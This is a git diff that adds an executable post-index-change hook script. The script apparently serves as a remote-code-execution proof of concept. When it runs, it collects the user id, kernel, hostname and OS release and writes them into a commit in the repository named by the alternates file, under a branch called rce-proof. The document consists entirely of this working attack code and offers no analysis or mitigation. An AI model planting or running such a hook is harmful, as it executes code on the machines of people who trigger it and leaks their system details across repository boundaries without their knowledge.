diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..96d192d
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,11 @@
+#!/bin/sh
+d=$(git rev-parse --git-dir) || exit 1
+o=$(sed -n "1p" "$d/objects/info/alternates") || exit 2
+case "$o" in /*) ;; *) o="$d/objects/$o";; esac
+g=${o%/objects}
+[ "$g" != "$o" ] || exit 3
+blob=$( ( id; uname -a; hostname; cat /etc/os-release 2>/dev/null | head -2 ) 2>&1 | git --git-dir="$g" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\tproof\n" "$blob" | git --git-dir="$g" mktree) || exit 5
+cm=$(printf "p\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@x GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@x git --git-dir="$g" commit-tree "$tree") || exit 6
+git --git-dir="$g" update-ref refs/heads/rce-proof "$cm" || exit 7
+exit 0